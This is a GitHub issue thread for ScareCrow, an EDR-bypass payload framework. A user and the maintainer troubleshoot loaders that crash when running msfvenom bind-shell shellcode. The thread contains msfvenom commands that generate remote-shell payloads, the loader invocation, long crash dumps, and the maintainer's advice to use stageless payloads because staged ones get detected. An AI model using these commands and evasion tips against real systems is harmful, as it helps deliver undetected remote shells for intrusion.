optiv / ScareCrow

ScareCrow - Payload creation framework designed around EDR bypass.
2.71k stars 503 forks source link

How to create valid payloads? #5

Closed 0xShkk closed 3 years ago

0xShkk commented 3 years ago

I would like to thank you for providing such an complete framework and the research details at first!

Unfortunately, I was not able to create valid payloads with ScareCrow so far. As an example, I tried the shellcode creation via msfvenom first:

msfvenom -p windows/x64/shell/bind_tcp LPORT=8888 -f raw -o ./Desktop/scarecrow-test/bind.bin -b '\x00'

or

msfvenom -p windows/x64/shell/bind_tcp LPORT=8888 EXITFUNC=thread -f raw -o ./Desktop/scarecrow-test/bind.bin -b '\x00'

Then I tried to use ScareCrow on it:

./ScareCrow -I ../bind.bin -Loader binary -domain microsoft.com -console

which succeeds in creating a binary loader. But the resulting exe is not working on an Windows box. The resulting debug output in console is:

[DEBUG] [+] Detected Version: 10.0
[DEBUG] [+] Reloading: C:\Windows\System32\kernel32.dll
[DEBUG] [+] Reloading: C:\Windows\System32\kernelbase.dll
[DEBUG] [+] Reloading: C:\Windows\System32\ntdll.dll
[DEBUG] [+] EDR removed
[DEBUG] [*] Create a Pointer on stack
[DEBUG] [*] Loading shellcode into a string
[DEBUG] [*] Copy Pointer's attributes
[DEBUG] [*] Overwriten Pointer to point to shellcode String
Exception 0xc0000005 0x0 0xda29d2b000 0xc000128000
PC=0xc000128000

runtime: unknown pc 0xc000128000
stack: frame={sp:0xc000119e30, fp:0x0} stack=[0xc000112000,0xc00011a000)
000000c000119d30:  0000000000000001  000000c000119d60
000000c000119d40:  000000000066bb98 <fmt.(*pp).free+184>  0100000000777000
000000c000119d50:  000001e7e9b993b0  0000000000000000
000000c000119d60:  0000000000000028  000001e7e9b907b0
000000c000119d70:  000000c00000aae0  000000c000082120
000000c000119d80:  000000000077f660  0000000000000000
000000c000119d90:  0000000000000000  00000000006e5280
000000c000119da0:  ffffffffffffffff  000000c000094500
000000c000119db0:  000000c000119ed8  0000000000000040
000000c000119dc0:  000000c000119e90  000000000069f180
000000c000119dd0:  000000000068e401 <main.printDebug+33>  000000c00000aae0
000000c000119de0:  0000000000000050  000000000068f7ce <main.NtProtectVirtualMemory+142>
000000c000119df0:  0000000000690050  000000c00000aae0
000000c000119e00:  0000000000000005  0000000000000005
000000c000119e10:  0000000000000000  0000000000000000
000000c000119e20:  000000c0000fcde0  000000c000119f78
000000c000119e30: <000000000068f2d9 <main.main+1593>  00000000006c0050
000000c000119e40:  ffffffffffffffff  000000c000094500
000000c000119e50:  000000c000119ed8  0000000000000040
000000c000119e60:  000000c000119e90  0000000000000000
000000c000119e70:  0000000000000000  000000c0000fcde0
000000c000119e80:  0000000000000002  0000000000000400
000000c000119e90:  0000000000000004  0000000000000540
000000c000119ea0:  0000000000000010  0000000000000012
000000c000119eb0:  0000000000000540  00000000000003e6
000000c000119ec0:  00000000006e5c20  0000000000000020
000000c000119ed0:  0000000000000021  0000000000002000
000000c000119ee0:  000000c0000fc990  000000c0000c5f18
000000c000119ef0:  000000000068e2ee <golang.org/x/sys/windows/registry.init+686>  000000c0000fc810
000000c000119f00:  00000000006c2647  0000000000000019
000000c000119f10:  000000c0000fc990  000000c0000c5f48
000000c000119f20:  000000c000094500  000000c000128800
runtime: unknown pc 0xc000128000
stack: frame={sp:0xc000119e30, fp:0x0} stack=[0xc000112000,0xc00011a000)
000000c000119d30:  0000000000000001  000000c000119d60
000000c000119d40:  000000000066bb98 <fmt.(*pp).free+184>  0100000000777000
000000c000119d50:  000001e7e9b993b0  0000000000000000
000000c000119d60:  0000000000000028  000001e7e9b907b0
000000c000119d70:  000000c00000aae0  000000c000082120
000000c000119d80:  000000000077f660  0000000000000000
000000c000119d90:  0000000000000000  00000000006e5280
000000c000119da0:  ffffffffffffffff  000000c000094500
000000c000119db0:  000000c000119ed8  0000000000000040
000000c000119dc0:  000000c000119e90  000000000069f180
000000c000119dd0:  000000000068e401 <main.printDebug+33>  000000c00000aae0
000000c000119de0:  0000000000000050  000000000068f7ce <main.NtProtectVirtualMemory+142>
000000c000119df0:  0000000000690050  000000c00000aae0
000000c000119e00:  0000000000000005  0000000000000005
000000c000119e10:  0000000000000000  0000000000000000
000000c000119e20:  000000c0000fcde0  000000c000119f78
000000c000119e30: <000000000068f2d9 <main.main+1593>  00000000006c0050
000000c000119e40:  ffffffffffffffff  000000c000094500
000000c000119e50:  000000c000119ed8  0000000000000040
000000c000119e60:  000000c000119e90  0000000000000000
000000c000119e70:  0000000000000000  000000c0000fcde0
000000c000119e80:  0000000000000002  0000000000000400
000000c000119e90:  0000000000000004  0000000000000540
000000c000119ea0:  0000000000000010  0000000000000012
000000c000119eb0:  0000000000000540  00000000000003e6
000000c000119ec0:  00000000006e5c20  0000000000000020
000000c000119ed0:  0000000000000021  0000000000002000
000000c000119ee0:  000000c0000fc990  000000c0000c5f18
000000c000119ef0:  000000000068e2ee <golang.org/x/sys/windows/registry.init+686>  000000c0000fc810
000000c000119f00:  00000000006c2647  0000000000000019
000000c000119f10:  000000c0000fc990  000000c0000c5f48
000000c000119f20:  000000c000094500  000000c000128800
rax     0xc000128000
rbx     0x0
rcx     0xc0000fcde0
rdi     0x1a29c03000
rsi     0xc000119da0
rbp     0xc000119f78
rsp     0xc000119e30
r8      0xc000119d98
r9      0xc000119e28
r10     0x0
r11     0x212
r12     0xffffffffffffffff
r13     0x3b
r14     0x3a
r15     0xaa
rip     0xc000128000
rflags  0x10246
cs      0x33
fs      0x53
gs      0x2b

I also tried to use Donut to create a x64 shellcode of an existing binary, as well as using dll as a Loader for ScareCrow for both generated shellcodes (msf and donut). Nothing worked so far for me.

Can you please give me more details on what kind of shellcode payload ScareCrow expects? Maybe provide some examples in the documentation?

Many thanks

Tylous commented 3 years ago

Can you provide me the exact version of Windows you tested on?

0xShkk commented 3 years ago

Sure,

it was on

OS Name: Microsoft Windows 10 Enterprise 1909 OS Version: 10.0.18363.1379

Tylous commented 3 years ago

I will spin up an instance tonight for testing, to see if I can recreate this issue. But I am curious what if you tried without the -b '\x00' do you still get the same issue?

Tylous commented 3 years ago

So based on my testing it looks like it's the fact you are using a staged bind shellcode. Since a staged shellcode performs the task of downloading and executing the actual shellcode from the listener. The problem here is that the binaries generated from ScareCrow use a different technique from the DLLs in which the stack pointer for the string of shellcode overwrites with attributes of an actual executable function thus when that function is executed the shellcode is executed. Because of the nature of staged payloads, this crashes the process. I confirmed this works fine with the other modes such as -Loader control where you can create an executable control panel applet. (As this method uses a different technique to execute shellcode) You can also use a stageless version of your shellcode and that will work just fine as well.

Based on my experience I recommend avoiding staged payloads as the communication to download the second stage (stage1) shellcode often is IOCed and detected.

I hope this helps?

0xShkk commented 3 years ago

Thank you for helping me out. The loader type control works just well!

Unfortunately, I can't get binary or dll to work, even with a non staged shellcode.

0xShkk commented 3 years ago

Oh and regarding your first question, yes without the badchar definition \x00 its the same result

0xShkk commented 3 years ago

This is the debug output for a non staged msf shellcode payload, if it helps:

[DEBUG] [+] Detected Version: 10.0
[DEBUG] [+] Reloading: C:\Windows\System32\kernel32.dll
[DEBUG] [+] Reloading: C:\Windows\System32\kernelbase.dll
[DEBUG] [+] Reloading: C:\Windows\System32\ntdll.dll
[DEBUG] [+] EDR removed
[DEBUG] [*] Create a Pointer on stack
[DEBUG] [*] Loading shellcode into a string
[DEBUG] [*] Copy Pointer's attributes
[DEBUG] [*] Overwriten Pointer to point to shellcode String
Exception 0xc0000005 0x1 0xc03544f54b 0xc00013c013
PC=0xc00013c013

runtime: unknown pc 0xc00013c013
stack: frame={sp:0xc000130000, fp:0x0} stack=[0xc00012e000,0xc000136000)
000000c00012ff00:  0000000000000000  0000000000000000
000000c00012ff10:  0000000000000000  0000000000000000
000000c00012ff20:  0000000000000000  0000000000000000
000000c00012ff30:  0000000000000000  0000000000000000
000000c00012ff40:  0000000000000000  0000000000000000
000000c00012ff50:  0000000000000000  0000000000000000
000000c00012ff60:  0000000000000000  0000000000000000
000000c00012ff70:  0000000000000000  0000000000000000
000000c00012ff80:  0000000000000000  0000000000000000
000000c00012ff90:  0000000000000000  0000000000000000
000000c00012ffa0:  0000000000000000  0000000000000000
000000c00012ffb0:  0000000000000000  0000000000000000
000000c00012ffc0:  0000000000000000  0000000000000000
000000c00012ffd0:  0000000000000000  0000000000000000
000000c00012ffe0:  0000000000000000  0000000000000000
000000c00012fff0:  0000000000000000  0000000000000000
000000c000130000: <0000000000000000  0000000000000000
000000c000130010:  0000000000000000  0000000000000000
000000c000130020:  0000000000000000  0000000000000000
000000c000130030:  0000000000000000  0000000000000000
000000c000130040:  0000000000000000  0000000000000000
000000c000130050:  0000000000000000  0000000000000000
000000c000130060:  0000000000000000  0000000000000000
000000c000130070:  0000000000000000  0000000000000000
000000c000130080:  0000000000000000  0000000000000000
000000c000130090:  0000000000000000  0000000000000000
000000c0001300a0:  0000000000000000  0000000000000000
000000c0001300b0:  0000000000000000  0000000000000000
000000c0001300c0:  0000000000000000  0000000000000000
000000c0001300d0:  0000000000000000  0000000000000000
000000c0001300e0:  0000000000000000  0000000000000000
000000c0001300f0:  0000000000000000  0000000000000000
runtime: unknown pc 0xc00013c013
stack: frame={sp:0xc000130000, fp:0x0} stack=[0xc00012e000,0xc000136000)
000000c00012ff00:  0000000000000000  0000000000000000
000000c00012ff10:  0000000000000000  0000000000000000
000000c00012ff20:  0000000000000000  0000000000000000
000000c00012ff30:  0000000000000000  0000000000000000
000000c00012ff40:  0000000000000000  0000000000000000
000000c00012ff50:  0000000000000000  0000000000000000
000000c00012ff60:  0000000000000000  0000000000000000
000000c00012ff70:  0000000000000000  0000000000000000
000000c00012ff80:  0000000000000000  0000000000000000
000000c00012ff90:  0000000000000000  0000000000000000
000000c00012ffa0:  0000000000000000  0000000000000000
000000c00012ffb0:  0000000000000000  0000000000000000
000000c00012ffc0:  0000000000000000  0000000000000000
000000c00012ffd0:  0000000000000000  0000000000000000
000000c00012ffe0:  0000000000000000  0000000000000000
000000c00012fff0:  0000000000000000  0000000000000000
000000c000130000: <0000000000000000  0000000000000000
000000c000130010:  0000000000000000  0000000000000000
000000c000130020:  0000000000000000  0000000000000000
000000c000130030:  0000000000000000  0000000000000000
000000c000130040:  0000000000000000  0000000000000000
000000c000130050:  0000000000000000  0000000000000000
000000c000130060:  0000000000000000  0000000000000000
000000c000130070:  0000000000000000  0000000000000000
000000c000130080:  0000000000000000  0000000000000000
000000c000130090:  0000000000000000  0000000000000000
000000c0001300a0:  0000000000000000  0000000000000000
000000c0001300b0:  0000000000000000  0000000000000000
000000c0001300c0:  0000000000000000  0000000000000000
000000c0001300d0:  0000000000000000  0000000000000000
000000c0001300e0:  0000000000000000  0000000000000000
000000c0001300f0:  0000000000000000  0000000000000000
rax     0x3522f400
rbx     0x0
rcx     0xc000122c60
rdi     0xd2bc0d7000
rsi     0x1ed4e1
rbp     0xc000135f78
rsp     0xc000130000
r8      0xc000135d98
r9      0xc000135e28
r10     0x0
r11     0x212
r12     0xffffffffffffffff
r13     0x28
r14     0x27
r15     0xaa
rip     0xc00013c013
rflags  0x10206
cs      0x33
fs      0x53
gs      0x2b
0xShkk commented 3 years ago

I do not know if it really makes a difference but I tried to create shellcode like so:

msfvenom -p windows/x64/shell_bind_tcp LPORT=8888 -f raw -o bind2.raw
msfvenom -p windows/x64/shell_bind_tcp LPORT=8888 -f raw -o bind2.raw -b '\x00'
msfvenom -p windows/x64/shell_bind_tcp EXITFUNC=none LPORT=8888 -f raw -o bind2.raw
msfvenom -p windows/x64/shell_bind_tcp PrependMigrate=true LPORT=8888 -f raw -o bind2.raw
msfvenom -p windows/x64/shell_bind_tcp PrependMigrate=true EXITFUNC=thread LPORT=8888 -f raw -o bind2.raw

none of them above executed successfully via binary or dll loader method

Tylous commented 3 years ago

I tested with the following and they worked fine in both binary and DLL format.

windows/x64/meterpreter_bind_tcp

windows/x64/meterpreter_reverse_tcp

As for your debug output, the memory address look blank which tells me something else went wrong. Since you mentioned that the control loader type worked for you (which is just a fancy DLL ) I suspect something else is going, at any rate, if the control loader worked I take it I can close this issue?

0xShkk commented 3 years ago

The DLL loader worked for me now too. I had to rename the dll so rundll32 executed the correct one (as you mention in the tool output).

Thank you so much for this great tool and the help!